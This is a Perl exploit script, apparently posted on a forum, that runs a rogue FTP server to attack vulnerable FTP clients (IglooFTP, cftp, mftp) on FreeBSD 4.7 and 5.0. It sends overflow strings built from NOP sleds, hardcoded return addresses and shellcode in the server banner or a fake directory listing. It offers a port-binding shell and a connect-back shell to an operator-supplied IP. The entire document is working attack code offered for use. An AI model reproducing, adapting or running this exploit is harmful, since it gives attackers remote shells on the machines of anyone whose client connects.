Code: Select all
#!/usr/bin/perl
use IO::Socket;
sub convert_ret {
my($ret) = @_;
for ($x=8; $x>0; $x=$x-2){
$ret = substr($ret_temp,$x,2);
$new_ret .= chr hex "$ret";
}
return $new_ret;
}
sub convert_ip {
my($ip) = @_;
@ip_tmp = split(/\./, $ip);
for($x=0; $x<4; $x++) {
$new_ip .= chr @ip_tmp[$x];
}
return $new_ip;
}
$server_port = 21;
$passive_server_port = 10324;
unless(@ARGV == 3 || @ARGV == 2)
{ die
"Penggunaan ./DSR-ftp_clients.pl Shellcode Client Ip\n
\tShellcode:\t0 = Portbind
\t\t\t1 = Connect back\n
\tClient:\t\t0 = IglooFTP (FreeBSD 4.7)
\t\t\t1 = cftp (FreeBSD 4.7)
\t\t\t2 = Moxftp (FreeBSD 4.7)
\t\t\t3 = cftp (FreeBSD 5.0)
\t\t\t4 = IglooFTP (FreeBSD 5.0)
\t\t\t5 = Moxftp (FreeBSD 5.0)\n"
}
($shellcode_arg, $client_arg, $extra_arg) = @ARGV;
$user_ip = convert_ip($extra_arg);
@shellcode_list = (
"Portbind,\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x52\x66\x68\x27\x10\x66\x51\x89\xe6\xb1\x10\x51\x56\x50\x50\xb0\x68\xcd\x80\x51\x53\x53\xb0\x6a\xcd\x80\x52\x52\x53\x53\xb0\x1e\xcd\x80\xb1\x03\x89\xc3\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80",
"Connect Back,\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68"."$user_ip"."\x66\x68\x27\x10\x66\x51\x89\xe6\xb2\x10\x52\x56\x50\x50\xb0\x62\xcd\x80\x41\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80");
@client_list = (
"IglooFTP - FreeBSD 4.7,188,0xbfbfc560,0",
"cftp - FreeBSD 4.7,8192,0xbfbffb04,1,300",
"mftp - FreeBSD 4.7,516,0xbfbff8e0,1,100",
"cftp - FreeBSD 5.0,8196,0xbfbffa30,1,300",
"IglooFTP - FreeBSD 5.0,212,0xbfbfc440,0",
"mftp - FreeBSD 5.0,532,0xbfbff950,1,100");
@client_info = split(/,/,@client_list[$client_arg]);
@shellcode_info = split(/,/,@shellcode_list[$shellcode_arg]);
print "\tDSR-ftp_clients by Digital Cat\n
Setting up Service on Port: $server_port
Client: @client_info[0]
Using Shellcode: @shellcode_info[0]
Using Offset: @client_info[2]\n";
$shellcode = @shellcode_info[1];
$shellcode_length = length($shellcode);
$nop_count = @client_info[1] - $shellcode_length - 8;
$nops = "\x90"x$nop_count;
$ret_temp = @client_info[2];
$ret = substr($ret_temp,2,8);
$ret = convert_ret($ret);
$ret = "$ret"x2;
if(@client_info[3] eq "1") {
$nops_x = "\x90"x@client_info[1];
$nops_y = "\x90"x@client_info[4];
$exploit_string = "$nops_x"."$ret"."$nops_y"."$shellcode";
}
if($client_arg == 0 or $client_arg == 4) {
$exploit_string ="total 666
drwxr-xr-x 25 root wheel 1536 Jan 28 00:13 .
drwxr-xr-x 14 root wheel 512 Jan 28 00:13 ..
-rwxr-xr-x 2 digital_cat digital_cat 512 Jan 29 01:00 $nops$shellcode$ret";
}
$server = IO::Socket::INET->new(LocalPort => $server_port,
Type => SOCK_STREAM,
Reuse => 1,
Listen => 10)
or die "My Cat Can't listen on $server_port : $!\n";
while ($client = $server->accept()) {
if(@client_info[3] == 1) {
print $client "220 $exploit_string\n";
}
if(@client_info[3] eq "0") {
print $client "220 0xdeadcode\n";
while($request !=~ /QUIT/i) {
$request = <$client>;
print $request;
if($request =~ /PASS/i) {
print $client "230 User anonymous My Cat logged in.\n";
}
if($request =~ /USER/i) {
print $client "331 Anonymous Password required for My Cat.\n";
}
if($request =~ /SYST/i) {
print $client "215 UNIX Type: L8\n";
}
if($request =~ /REST/i) {
print $client "350 My Cat Restarting.\n";
}
if($request =~ /TYPE/i) {
print $client "200 My Cat Type set to A.\n";
}
if($request =~ /PWD/i or $request =~ /FEAT/i) {
print $client "257 \"/usr/home/digital_cat/\" is current directory.\n";
}
if($request =~ /PASV/i) {
$passive_server = IO::Socket::INET->new(LocalPort => $passive_server_port,
Type => SOCK_STREAM,
Reuse => 1,
Listen => 10)
or die "My Cat Can't open passive port";
print $client "227 My Cat Entering Passive Mode (127,0,0,1,40,84)\n";
}
if ($request =~ /LIST/i) {
while($passive_client = $passive_server->accept()){
print $client "150 My Cat Starting transfer.\n";
print $passive_client $exploit_string;
close $passive_client;
print $client "226 BANG My Cat DEAD!!!\n";
}
}
}
close $client;
}
}